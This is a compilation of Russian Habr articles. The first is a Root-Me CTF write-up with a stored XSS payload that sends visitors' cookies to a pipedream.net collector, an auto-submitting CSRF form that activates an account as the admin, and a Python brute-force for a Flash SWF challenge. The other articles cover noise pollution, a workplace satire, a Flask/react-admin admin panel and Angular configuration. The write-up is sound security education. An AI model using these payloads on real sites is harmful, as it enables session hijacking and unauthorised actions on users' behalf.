XSS, CSRF и Flash аутентификация. Решение задач с r0от-мi Web— Client. Часть 2

image

В данной статье угоняем куки через Stored XSS, разбираемся с CSRF атакой и реверсим Flash SWF файл. Ссылки на предыдущие статьи:

Часть 1: Web — javascript authentication, obfuscation и native code. Решение задач с r0от-мi Web— Client.

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

XSS Stored

image

По заданию нам нужно захватить куки администратрора. Открываем сайт. Видим форму, где нужно ввести заголовок и сообщение. Введем, чтобы посмотреть, как наш ввод отобразится на форме.

image

image

Так. Попробуем проверить на XSS. В качестве пэйлоада я буду испольовать обычный алерт.

<script>alert(1);</script>

Как можно видеть, нам отобразилось окошко алерта, то есть внедренный код javascript сработал.

image

Так как это хранимые XSS, то есть возможность угнать куки других пользователей. Если у вас нету своего собственного сервера в глобальной сети, то можно воспольоваться этим сайтом.

image

Здесь нам дают адрес, по которому мы сможем наблюдать все запросы на этот адрес. Теперь внедрим следующий пэйлоад.

<script> document.write("<img src='https://en0q0bu21ne0wq.x.pipedream.net/?cookie=" + document.cookie + "'></img>"); </script>

Когда пользовательоткроет страницу с этим кодом, агент попытается загрузить картинку и выполнит запрос по данному адресу. В качестве параметра он будет использовать свой куки. Мы же потом посмотрим на параметр, с которым пришел запрос — это и будет куки.

image

Чем опасен угон куки? Вставив куки для этого сайта в своем браузере мы войдем на сайт от имени этого пользователя, пропустив процесс аутентификации.

CSRF

image

По заданию нам нужно активировать свой аккаунт. Зайдем посмотрим на сайт. Нас встречает форма авторизации.

image

Выбираем регистрацию, и регистрируемся на сайте.

image

Нам говорят, что мы получим полноправный доступ, когда админ активирует наш аккаунт.

image

image

При попытке самостоятельно поставить галочку, получаем сообщение, что мы не админ.

image

Но мы можем контактировать с админом, то есть он откроет страницу. Смысл CSRF в том, что пользователь выполняет действия, сам не зная об этом. То есть мы можем заставить его отправить уже заполненную форму. Проверим нет ли здесь токена, который выставляется и проверяется сервером — как защита от таких атак. Он каждый раз разный.

image

Здесь нет токена. Из этой формы выйдет вот такой пэйлоад.

<form id="form" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data"> 	<input type="text" name="username" value="ralf"> 	<input type="checkbox" name="status" checked >	 	<button type="submit">Submit</button> </form> <script>document.getElementById("form").submit()</script> 

Здесь уже заполненная нашими данными форма, с выстовленной галочкой активации. Javascript код отправит ее после загрузки страницы, соответсвенно от имени просмотревшего ее администратора.

image

image

Спустя некоторое время обновим страницу. Наш аккаунт был активирован.

image

Flash

image

Нам нужно найти валидный код. Откроем страницу. Нас встречает какой-то кодовый механизм.

image

Давайте глянем код.

image

Видим, что на JS проверяется преобразованный код, который мы введем. Осталось узнать алгоритм преобразования. Так же в коде ей ссылка на swf файл. Давайте его скачаем.

image

Видим, что это сжатый Macromedia Flash. Для реверса таких файлов я предпочитаю использовать JPEXS.

image

Находим основной скрипт.

image

Давайте разбирать его.

image

Он загружает данные из другого вложенного скрипта, ксорит их с ключем и отправляет на исполнение. Сделаем это. Сначала найдем эти данные.

image

А затем экспортируем в отдельный файл.

image

Теперь проксорим их с ключем.

f = open('1_RootMe_EmbeddedSWF.bin', 'r') swf_crypt = f.read() f.close()  key = 'rootmeifyoucan' swf_decrypt = ''  for i in range(len(swf_crypt)): 	swf_decrypt += chr(ord(swf_crypt[i]) ^ ord(key[i%len(key)]))  f = open('NewEmbedded.swf', 'w') f.write(swf_decrypt) f.close()

Получаем новый файл. Открываем его в JPEXS.

image

Находим основной скрипт и начинаем анализировать.

image

Так как все равно придется писать код. Буду публиковать его части.

but1 = 11266775 but2 = 11146309 but3 = 7884889 but4 = 8049718 Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe'

Здесь мы видим код каждой кнопки и ее расположение по координатам. Это нам поможет понять у какой кнопки какой код.

image

Отсюда узнаем, что длина кода должна быть равна или быть больше 12. И что итоговое значение — MD5 хеш от перевернутой строки.

from hashlib import * import itertools  for var in itertools.product('1234', repeat=12): ... ... 		if len(code) >= 12: 			break h = md5(code[::-1].encode()).hexdigest()

image

Вместо того чтобы описывать, я просто приведу этот код на python’e.

 	code = "" 	for char in var: 		if char == '1': 			code += format((but1 >> 16 & 0xFF), '02X')  		elif char == '2': 			code += format((but2 >> 8 & 0xFF), '02X') 		elif char == '3': 			code += format((but3 >> 0 & 0xFF), '02X') 		elif char == '4': 			if len(code) > 1: 				code = code[0:-1] 

Таким образом, нам нужно перебрать 4^12 = 16777216 вариантов. Пустяк.

 from hashlib import * import itertools  but1 = 11266775 but2 = 11146309 but3 = 7884889 but4 = 8049718 Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe' for var in itertools.product('1234', repeat=12): 	code = "" 	for char in var: 		if char == '1': 			code += format((but1 >> 16 & 0xFF), '02X')  		elif char == '2': 			code += format((but2 >> 8 & 0xFF), '02X') 		elif char == '3': 			code += format((but3 >> 0 & 0xFF), '02X') 		elif char == '4': 			if len(code) > 1: 				code = code[0:-1] 		if len(code) >= 12: 			break 	h = md5(code[::-1].encode()).hexdigest() 	print("Password: %s, code: %s" % (var, code)) 	if h == Hash: 		print('Correct password:' + "".join(var)) 		Break

image

Получили пароль и код.

Дальше больше и сложнее… Вы можете присоединиться к нам в Telegram. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.


ссылка на оригинал статьи https://habr.com/ru/post/477254/

«Шум — убивает»: что стоит знать о шумовом загрязнении

Ранее мы рассказывали о белом шуме, который помогает заснуть, сконцентрироваться и расслабиться.

Сегодня говорим о вредных проявлениях шума, который окружает нас в повседневной жизни: как излишне громкие звуки влияют на здоровье человека и как минимизировать вред.


Фото Rafael Leão / Unsplash

Мир становится громче

Громкость звукового фона в городах растет на 0,5−1 дБ в год. Отчасти это связано с увеличением количества источников шума, в частности транспорта. Это — один из самых серьезных источников шумового загрязнения. Так, «громкость» автомобиля превышает 70 дБ, а железной дороги — 100 дБ.

Ситуация хуже в районах, расположенных вблизи аэропортов. Там уровень шума достигает 140 дБ. Например, если вы работаете в Москве, то скорее всего ежедневно подвергаетесь воздействию шумов в 63–64 дБ. Город занимает одиннадцатое место в рейтинге самых шумных городов мира.

Но от шума не скрыться и в отдаленных уголках планеты. Так, во фьордах Аляски и Антарктиды средний уровень шума сейчас превышает 100 дБ. Всему виной глобальное потепление. В ледниках сокрыты миллионы пузырьков. Айсберги тают, и воздух выходит наружу под высоким давлением. Звук этот настолько силен, что уже влият на поведение морских млекопитающих.

Почему это важно

Наиболее комфортный уровень «звукового контекста» это — 20–30 дБ (как в тихом парке). Если он доходит до 40-42 дБ, человек может ощущать ухудшение качества сна. Как пишет ВОЗ, более серьезные негативные эффекты на здоровье проявляются при уровне шума в 53 дБ: возникает хронический стресс, который провоцирует сердечно-сосудистые заболевания, диабет и инсульты.

По оценкам ученых, страны Европы ежегодно теряют 61 тыс. человеко-лет из-за болезней сердца, вызванных только шумовым загрязнением. Дело в том, что излишний шум повышает уровень адреналина и кортизола — гормонов стресса — и влияет на нашу способность спать и учиться. О том, как сон влияет на выносливость, мы написали отдельный хабратопик.

Кроме того, высокий уровень шума оказывает существенное влияние на психическое здоровье и может вызывать депрессию и тревожное расстройство. Эти заболевания, в свою очередь, способны спровоцировать людей на крайние действия — в том числе, убийство. Например, мужчина в Пенсильвании расправился с соседями, которые долгое время шумели и мешали ему спать.


Фото Oleg Laptev / Unsplash

Кстати, звук сам по себе уже давно применяют в качестве оружия. Например, во время войны в Афганистане американские солдаты использовали грузовики с музыкальными установками. Они включали песни Metallica и Thin Lizzy на болезненных уровнях громкости, чтобы нейтрализовать противников. И в целом звон в ушах, обычно вызванный повреждением слуха из-за контузии, — главная жалоба солдат, вернувшихся с мест военных действий.

Фоновый шум может также препятствовать правильному росту и развитию мозга у детей. Доктор Норман Дойдж (Norman Doidge), психиатр и преподаватель кафедры психиатрии Университета Торонто, отмечает, что интеллект детей, живущих вблизи аэропортов, в среднем ниже, чем у сверстников. Свою научную работу он описал в книге «Пластичность мозга».

Что с этим делать

В городских условиях полностью оградить себя от окружающего шума может быть проблематично. Однако можно серьезно снизить его влияние на организм. Проверить, необходимо ли предпринимать какие-либо действия, можно с помощью специальных приложений-шумомеров. Если уровень шума превышает 50 дБ, имеет смысл установить шумоизоляцию, хотя это удовольствие и не из дешевых. Также врачи рекомендуют регулярно пользоваться берушами — особенно если окна вашего дома выходят на дорогу или у вас очень «громкие» соседи.


Фото chairulfajar_ / Unsplash

Также все чаще появляются технологии, которые способны оградить квартиру от уличного шума. Например, инженеры из Технологического университета в Наньяне разработали систему активного шумоподавления для окон. Микропроцессор анализирует улавливаемые матрицей микрофонов звуки, определяет целевые и составляет команду для генератора противоволн. В результате звук, проникающий в комнату, становится глухим и не раздражающим. Возможно, в будущем подобные системы смогут отсекать шумы полностью. Уже есть методы изоляции, блокирующие до 94% звуков.

Важно и самостоятельно соблюдать «акустическую гигиену», особенно при прослушивании громкой музыки в наушниках. Это также может нанести непоправимый ущерб нашему слуху. Медики советуют использовать правило 60/60: слушать музыку в наушниках на 60% громкости не более часа подряд.

Такой подход позволит обезопасить себя от негативных последствий. Также стоит помнить, что чем чаще вы подвергаетесь шумовому воздействию, тем менее чувствительными к нему становитесь. Поэтому стоит обращать на это внимание и следить за самочувствием — время от времени отслеживать уровень звука дома и на работе.


Что почитать в нашем «Мире Hi-Fi»:

Какие гаджеты помогут снизить окружающий шум и «поймать» концентрацию
Сон, релаксация и музыка: как профессиональные атлеты преодолевают усталость
Какой шум помогает отдыхать, а еще — предотвращает потерю слуха при серьезных ДТП
Как треск костра, скрип дверей и самый обыкновенный шум становятся музыкой
«Гул Земли»: теории заговора и возможные объяснения
Метод шумоизоляции, гасящий до 94% шумов — рассказываем, как он работает
Музыкальная ангедония, или не все любят музыку



ссылка на оригинал статьи https://habr.com/ru/company/audiomania/blog/477224/

Мой плач Ярославны

Данная статья — это моя реакция на очередное излияние души про работу эффективных менеджеров и то как они мешают творить чистый и незамутненный код который удобно поддерживать, расширять а также нести с помощью него мир в мир.

Возможно я не совсем правильный разработчик, а может меня когда-то давно покусали эффективные менеджеры и теперь мне не безразличен их еженочный вой на планы. Но почему-то я не вижу проблемы в требованиях и хотелках бизнеса. Наш мир — это мир компромиссов, с которыми приходится считаться и в котором нам жить. И боюсь, что неограниченное время на решение задачи, чистый ТЗ и заказчик у которого не меняются требования в зависимости от периода цикла может быть только один. Сидеть он будет в белой рясе у него будет окладистая борода, а по бокам будут стоять архангела и апостолы.

Но пока мы не там, то приходится с чем-то мирится. И это чем-то может иметь весьма внушительный список:

  • Сроки
  • Изменения требований
  • Несомненно, некомпетентные коллеги
  • Абсолютно некомпетентное начальство
  • Заказчик не понимающий, что лучше 1 час подождать, и потом за 5 минут добежать
  • И т.д. и т.п.

Лично для себя я давно принял за правило презумпцию адекватности (или ума). Все мы люди, все мы ошибаемся, мы не знаем всей картины и тот, с кем мы общаемся не знает её. И наше дело максимально подробно и обстоятельно донести до своего визави нашу картину мира. А дальше только поиск компромисса и ничего кроме компромисса. Где-то он нас устроит, где-то нет. Где-то есть и идиоты, а где-то вы просто сравниваете свои яблоки с его квадратом.

Внимание! Дальше пойдут ровным строем сферические кони в вакууме. И мое графоманство

Пьеса: Фирма Н из города Н

Сцена первая

Действующие лица: Разработчик и доктор.
Р: Доктор, у меня вот тут болит нога. Что мне делать.
Д: Похоже забедерныйгрыжматит. Я могу вам назначить лечение, но т.к. я не до конца уверен в своём диагнозе, то у него будет куча побочных эффектов т.к. придется работать по площадям. Понос, рвота, головокружения, обмороки, недержание и непускание. Давайте чтобы всего этого избежать вы сходите возьмите талончик на УЗИ в соседний кабинет и придёте ко мне с результатами.

Через день

Р:Доктор, вот результаты.
Д: Отличненько, посмотрим. Ну вот я уже могу уменьшить количество побочных эффектов. Могу назначить лечение без рвоты и головокружения. Но давайте сделаем ещё мрт в соседнем здании.

Три дня спустя

Р: Доктор, вот результаты.
Д: ПРЕКРАСНО. Вот теперь я готов назначить лечение только с двумя побочными эффектами поносом и запором.
Р: Доктор, а нога уже не болит. Она отвалилась вчера.

Сцена вторая

Действующие лица: Одноногий разработчик и эффективный менеджер.
ЭМ: Привет. Нам нужно реализовать вот такую фичу. Причем желательно вчера! А ориентировочно через год реализуем ещё что-то подобное. Сколько тебе потребуется времени?
ОР: На это уйдёт 2 месяца сейчас и затем реализация подобного займет ещё 1 месяц
ЭМ: А можно быстрее. Это ну очень срочно. Сам верховный за ней следит.
ОР: Я могу конечно заговонохардкодить это за 1 месяц. Но потом если мы захотим что-то с ней делать, то её придется исправлять, а на это уйдет ещё 4 месяца
После непродолжительных раздумий с закатыванием глаз
ЭМ: Ваяй, все риски беру на себя.

Сцена третья

Действующие лица: Эффективный менеджер, верховный и табличка с надписью «За день до этого».
В: Нам нужно реализовать фичу как можно скорее. Как только мы её внедрим наш доход сразу вырастит на 2килокилорублей.
ЭМ: Яволь, май фюррер!

Сцена четвертая

Действующие лица: Мозг эффективного менеджера, голос за сценой одноного программиста, голос за сценой эффективного менеджера.
ГЗЦЭМ: Привет. Нам нужно реализовать вот такую фичу. Причем желательно вчера! А ориентировочно через год реализуем ещё что-то подобное. Сколько тебе потребуется времени?
ГЗЦОР: На это уйдёт 2 месяца сейчас и затем реализация подобного займет ещё 1 месяц
ГЗЦЭМ: А можно быстрее. Это ну очень срочно. Сам верховный за ней следит.
ГЗЦОР: Я могу конечно заговонохардкодить это за 1 месяц. Но потом если мы захотим что-то с ней делать, то её придется исправлять, а на это уйдет ещё 4 месяца
МЭМ: Итак ЗП ОП 100килорублей, а доход от фичи как сказал В 2 килокилорублей. Значит если я выведу эту фичу на месяц раньше я раньше заработаю 2килокилорублей и потом даже если потрачу 400килорублей на переделку все равно фирма останется в плюсе.
ГЗЦЭМ: Ваяй, все риски беру на себя.

Сцена четветая

Действующие лица: Расказчик.
Р: Фича реализована, за 1 месяц, но принесла доход не 2килокилорублей в месяц, а только 300кило в месяц. Прошел 1 год и пришло время допиливать приделывать новую фичу к старой. ОР переделал как все и обещал красиво за 4 месяца. Но спустя ещё 1 год ушел на новую работу, а на его место наняли нового программиста

Сцена пятая

Действующие лица: Новый программист, Эффективный менеджер.
ЭМ: нам нужно реализовать вот такую фичу. Твой предшественник говорил, что в его красивой архитектуре реализация новых фич будет занимать 1 месяц
НП: Смотрел я эту «красивую архитектуру», это все старо и неэффективно. Может 2 года назад это и было эффективно, но сейчас есть более простые и производительные фреймворки. И по-хорошему нужно переписать все на реактогулярий иначе через год вы просто не найдете адекватных разработчиков на это старье
ЭМ: И сколько у тебя уйдет на это времени?

Конец!


ссылка на оригинал статьи https://habr.com/ru/post/477210/

Админка за 5 минут. Фронтэнд — react-admin, бэкэнд — Flask-RESTful

Если нужно на коленке получить быстро админку, где фронтендом будет react-admin, а бэкендом Flask-RESTful api, то ниже минимальный код в несколько десятков строк, чтобы это реализовать.

Бэкенд Flask-RESTful api

Сам код состоит из одного файла main.py:

from flask import Flask, request from flask_restful import Resource,  Api from flask_jwt_extended import JWTManager from flask_jwt_extended import create_access_token, jwt_required from flask_cors import CORS  app = Flask(__name__)  app.config['JWT_SECRET_KEY'] = 'my_cool_secret' jwt = JWTManager(app) CORS(app) api = Api(app)   class UserLogin(Resource):     def post(self):         username = request.get_json()['username']         password = request.get_json()['password']         if username == 'admin' and password == 'habr':             access_token = create_access_token(identity={                 'role': 'admin',             }, expires_delta=False)             result = {'token': access_token}             return result         return {'error': 'Invalid username and password'}   class ProtectArea(Resource):     @jwt_required     def get(self):         return {'answer': 42}   api.add_resource(UserLogin, '/api/login/') api.add_resource(ProtectArea, '/api/protect-area/')  if __name__ == '__main__':     app.run(debug=True, host='0.0.0.0') 

Пробежимся по коду:

  • Все взаимодействие с внешним миром наш бэкэнд будет осуществлять только посредством RESTful api, даже авторизация в админке тоже через него. Для этого у flask есть удобный модуль: Flask-RESTful api
  • Модуль flask_jwt_extended нам послужит для защиты тех роутов, доступ к которым можно получить только после авторизации. Ничего сакрального тут нет, просто в заголовок (header) к каждому http запросу будет добавляться токен jwt ( JSON Web Token), по которому наше приложение будет понимать, что юзер авторизован.
    В коде выше видно, что используется декоратор @jwt_required для этих целей. Можно его добавлять в те маршруты API, которые должны быть защищены.
  • Без flask_cors мы получим следующую ошибку:
    Access to XMLHttpRequest at 'http://localhost:5000/api/login/' from origin 'http://localhost:3000' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource.
    Подробнее о CORS здесь.

Поставим все необходимые библиотеки и запустим код командой:

python main.py

Как видно, я захардкодил логин и пароль к админке: admin / habr.

После того как flask стартанул, можно проверить его работоспособность с помощью curl:

curl -X POST -H "Content-Type: application/json" -d '{"username": "admin", "password": "habr"}' localhost:5000/api/login/ 

Если такой результат:

{   "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIU...." }

Значит все правильно и можно двигаться к фронту.

Фронтэнд react-admin

Мне понравился react-admin. Здесь документация, а тут демо версия:
https://marmelab.com/react-admin-demo/#/login
Логин: demo
Пароль: demo

Чтобы нам получить такую же админку, как в демке, выполняем следующие команды:

 git clone https://github.com/marmelab/react-admin.git && cd react-admin && make install    yarn add axios make build make run-demo 

Теперь надо ее научить взаимодействовать с нашим бэкендом.

Для этого заменим содержимое файла admin/examples/demo/src/authProvider.js на нижеследующий код, который будет отвечать за авторизацию, за выход из админки и прочее:

admin/examples/demo/src/authProvider.js

import { AUTH_LOGIN, AUTH_LOGOUT, AUTH_ERROR, AUTH_CHECK, AUTH_GET_PERMISSIONS } from 'react-admin'; import axios from 'axios'; import decodeJwt from 'jwt-decode';  export default (type, params) => {    if (type === AUTH_LOGIN) {     const { username, password } = params;     let data = JSON.stringify({ username, password });      return axios.post('http://localhost:5000/api/login/', data, {       headers: {         'Content-Type': 'application/json',       }     }).then(res => {       if (res.data.error || res.status !== 200) {         throw new Error(res.data.error);       }       else {         const token = res.data.token;         const decodedToken = decodeJwt(token);         const role = decodedToken.identity.role;         localStorage.setItem('token', token);         localStorage.setItem('role', role);         return Promise.resolve();       }     });   }    if (type === AUTH_LOGOUT) {     localStorage.removeItem('token');     localStorage.removeItem('role');     return Promise.resolve();   }    if (type === AUTH_ERROR) {     const { status } = params;     if (status === 401 || status === 403) {       localStorage.removeItem('token');       localStorage.removeItem('role');       return Promise.reject();     }     return Promise.resolve();   }    if (type === AUTH_CHECK) {     return localStorage.getItem('token') ? Promise.resolve() : Promise.reject({ redirectTo: '/login' });   }    if (type === AUTH_GET_PERMISSIONS) {     const role = localStorage.getItem('role');     return role ? Promise.resolve(role) : Promise.reject();   }  }; 

И теперь для прикола обратимся к нашему бэкенду, к роуту: /api/protect-area/ и полученный результат воткнем на главной странице админки, там, где бородатые мужики.

Для этого заменим содержимое файла react-admin/examples/demo/src/dashboard/Welcome.js на вот такой код:

admin/examples/demo/src/dashboard/Welcome.js

import React, { useState, useEffect, useCallback } from 'react'; import axios from 'axios'; import Card from '@material-ui/core/Card'; import CardActions from '@material-ui/core/CardActions'; import CardContent from '@material-ui/core/CardContent'; import CardMedia from '@material-ui/core/CardMedia'; import Button from '@material-ui/core/Button'; import Typography from '@material-ui/core/Typography'; import HomeIcon from '@material-ui/icons/Home'; import CodeIcon from '@material-ui/icons/Code'; import { makeStyles } from '@material-ui/core/styles'; import { useTranslate } from 'react-admin';  const useStyles = makeStyles({   media: {     height: '18em',   }, });  const mediaUrl = `https://marmelab.com/posters/beard-${parseInt(   Math.random() * 10,   10 ) + 1}.jpeg`;  const Welcome = () => {    const [state, setState] = useState({});   const fetchFlask = useCallback(async () => {     axios.defaults.headers.common['Authorization'] = 'Bearer ' + localStorage.getItem('token');     await axios.get('http://localhost:5000/api/protect-area/').then(res => {       const answer = res.data.answer;       setState({ answer });     });   }, []);    useEffect(() => {     fetchFlask();   }, []); // eslint-disable-line react-hooks/exhaustive-deps    const translate = useTranslate();   const classes = useStyles();     return (     <Card>       <CardMedia image={mediaUrl} className={classes.media} />       <CardContent>         <Typography variant="h5" component="h2">           {state.answer}         </Typography>         <Typography component="p">           {translate('pos.dashboard.welcome.subtitle')}         </Typography>       </CardContent>       <CardActions style={{ justifyContent: 'flex-end' }}>         <Button href="https://marmelab.com/react-admin">           <HomeIcon style={{ paddingRight: '0.5em' }} />           {translate('pos.dashboard.welcome.aor_button')}         </Button>         <Button href="https://github.com/marmelab/react-admin/tree/master/examples/demo">           <CodeIcon style={{ paddingRight: '0.5em' }} />           {translate('pos.dashboard.welcome.demo_button')}         </Button>       </CardActions>     </Card>   ); };  export default Welcome; 

Зайдем на адрес:

localhost:3000
Авторизуемся, введя логин / пасс: admin / habr

И если все норм, то увидим 42 в заголовке на главной странице.

Типа вот так:

Дополнительно

  • Помимо Flask-RESTful есть еще Flask-RESTplus, тут можно глянуть обсуждение, что лучше или хуже
  • Можно написать админку на фронте, дальше запустить: npm run build — получатся готовые статические файлы, которые flask может отдавать просто как темплейт. Подробнее здесь. И таким образом можно избавится от необходимости держать запущенным веб-сервер, отвечающий за react.


ссылка на оригинал статьи https://habr.com/ru/post/477126/

Конфигурация приложений на Angular. Лучшие практики

Как управлять файлами конфигурации среды и целями

Когда вы создали angular приложение с помощью Angular CLI или Nrwl Nx tools у вас всегда есть папка с фалами конфигурации окружения:

<APP_FOLDER>/src/environments/                        └──environment.ts                        └──environment.prod.ts

Можно переименовать environment.prod.ts в environment.production.ts например, также можно создавать дополнительные файлы конфигурации такие как environment.qa.ts или environment.staging.ts.

<APP_FOLDER>/src/environments/                        └──environment.ts                        └──environment.prod.ts                        └──environment.qa.ts                        └──environment.staging.ts

Файл environment.ts используется по умолчанию. Для использования остальных файлов необходимо открыть angular.json и настроить fileReplacements секцию в build конфигурации и добавить блоки в serve и е2е конфигурации.

{    "architect":{       "build":{          "configurations":{             "production":{                "fileReplacements":[                   {                      "replace":"<APP_FOLDER>/src/environments/environment.ts",                      "with":"<APP_FOLDER>/src/environments/environment.production.ts"                   }                ]             },             "staging":{                "fileReplacements":[                   {                      "replace":"<APP_FOLDER>/src/environments/environment.ts",                      "with":"<APP_FOLDER>/src/environments/environment.staging.ts"                   }                ]             }          }       },       "serve":{          "configurations":{             "production":{                "browserTarget":"app-name:build:production"             },             "staging":{                "browserTarget":"app-name:build:staging"             }          }       },       "e2e":{          "configurations":{             "production":{                "browserTarget":"app-name:serve:production"             },             "staging":{                "browserTarget":"app-name:serve:staging"             }          }       }    } }

Для сборки или запуска приложения с конкретным окрудением используйте команды:

ng build --configuration=staging ng start --configuration=staging ng e2e --configuration=staging  Кстати ng build --prod  всего лишь сокращенный вариант ng build --configuration=production

Не используйте environment файлы напрямую, только через DI

Использование глобальных переменных и прямых импортов нарушает ООП подход и усложняет тестируемость ваших классов. Поэтому лучше создать сервис который можно инжектить в ваши компоненты и другие сервисы. Вот пример такого сервиса с возможностью указывать дефолтное значение.

export const ENVIRONMENT = new InjectionToken<{ [key: string]: any }>('environment');  @Injectable({   providedIn: 'root', }) export class EnvironmentService {   private readonly environment: any;    // We need @Optional to be able start app without providing environment file   constructor(@Optional() @Inject(ENVIRONMENT) environment: any) {     this.environment = environment !== null ? environment : {};   }    getValue(key: string, defaultValue?: any): any {     return this.environment[key] || defaultValue;   } }  @NgModule({   imports: [     BrowserModule,     HttpClientModule,     AppRoutingModule,   ],   declarations: [     AppComponent,   ],   // We declare environment as provider to be able to easy test our service   providers: [{ provide: ENVIRONMENT, useValue: environment }],   bootstrap: [AppComponent], }) export class AppModule { }

Отделяйте конфигурацию окружения и бизнес логики

Конфигурация окружения включает в себя только свойства которые относятся к окружению, например apiUrl. В идеале конфигурация окружения должна состоять из двух свойств:

export const environment = {   production: true,   apiUrl: 'https://api.url', };

Также в этот конфиг можно добавить свойство для включения дебаг режима debugMode: true или можно добавить имя сервера на котором запущено приложение environmentName: ‘QA’, но не забывайте что это очень плохая практика если ваш код знает что-либо о сервере на котором он запущен.

Никогда не храните какую-либо секретную информацию или пароли в конфигурации окружения.

Другие настройки конфигурации такие как maxItemsOnPage или galleryAnimationSpeed должны храниться в другом месте и желательно использоваться через configuration.service.ts который может получать настройки с какого то эндпоинта или просто загружая config.json из папки assets.

1. Асинхронный подход (используйте когда конфигурация может измениться в рантайме)

// assets/config.json  {   "galleryAnimationSpeed": 5000 }  // configuration.service.ts  // ------------------------------------------------------  @Injectable({   providedIn: 'root', }) export class ConfigurationService {   private configurationSubject = new ReplaySubject<any>(1);    constructor(private httpClient: HttpClient) {     this.load();   }    // method can be used to refresh configuration   load(): void {     this.httpClient.get('/assets/config.json')       .pipe(         catchError(() => of(null)),         filter(Boolean),       )       .subscribe((configuration: any) => this.configurationSubject.next(configuration));   }    getValue(key: string, defaultValue?: any): Observable<any> {     return this.configurationSubject       .pipe(         map((configuration: any) => configuration[key] || defaultValue),       );   } }  // app.component.ts  // ------------------------------------------------------  @Component({   selector: 'app-root',   changeDetection: ChangeDetectionStrategy.OnPush,   templateUrl: './app.component.html',   styleUrls: ['./app.component.scss'] }) export class AppComponent {   galleryAnimationSpeed$: Observable<number>;    constructor(private configurationService: ConfigurationService) {     this.galleryAnimationSpeed$ = this.configurationService.getValue('galleryAnimationSpeed', 3000);      interval(10000).subscribe(() => this.configurationService.load());   } }

2. Синхронный подход (используйте когда конфигурация почти никогда не меняется)

// assets/config.json  {   "galleryAnimationSpeed": 5000 }  // configuration.service.ts  // ------------------------------------------------------  @Injectable({   providedIn: 'root', }) export class ConfigurationService {   private configuration = {};    constructor(private httpClient: HttpClient) {   }    load(): Observable<void> {     return this.httpClient.get('/assets/config.json')       .pipe(         tap((configuration: any) => this.configuration = configuration),         mapTo(undefined),       );   }    getValue(key: string, defaultValue?: any): any {     return this.configuration[key] || defaultValue;   } }  // app.module.ts  // ------------------------------------------------------  export function initApp(configurationService: ConfigurationService) {   return () => configurationService.load().toPromise(); }  @NgModule({   imports: [     BrowserModule,     HttpClientModule,     AppRoutingModule,   ],   declarations: [     AppComponent,   ],   providers: [     {       provide: APP_INITIALIZER,       useFactory: initApp,       multi: true,       deps: [ConfigurationService]     }   ],   bootstrap: [AppComponent], }) export class AppModule { }  // app.component.ts  // ------------------------------------------------------  @Component({   selector: 'app-root',   changeDetection: ChangeDetectionStrategy.OnPush,   templateUrl: './app.component.html',   styleUrls: ['./app.component.scss'] }) export class AppComponent {   galleryAnimationSpeed: number;    constructor(private configurationService: ConfigurationService) {     this.galleryAnimationSpeed = this.configurationService.getValue('galleryAnimationSpeed', 3000);   } }

Подменяйте environment переменные во время деплоя или в рантайме

Не создавайте отдельные сборки с разными конфигурациями, вместо этого используйте только одну продакшн сборку и подменяйте значения во время деплоя или во время исполнения кода. Есть несколько вариантов как сделать это:

Заменить значения плэйсхолдерами в environment файлах которые будут заменены в итоговой сборке во время деплоя

export const environment = {   production: true,   apiUrl: 'APPLICATION_API_URL', };

Во время деплоя строка APPLICATION_API_URL должна быть заменена на реальный адрес апи сервера.

Использовать глобальные переменные и инжектить конфиг файлы с помощью docker volumes

export const environment = {   production: true,   apiUrl: window.APPLICATION_API_URL, }; // in index.html before angular app bundles <script src="environment.js"></script>

Спасибо за внимание к статье, буду рад конструктивной критике и комментариям.


Также присоединяйтесь к нашему сообществу на Medium, Telegram или Twitter.


ссылка на оригинал статьи https://habr.com/ru/post/477214/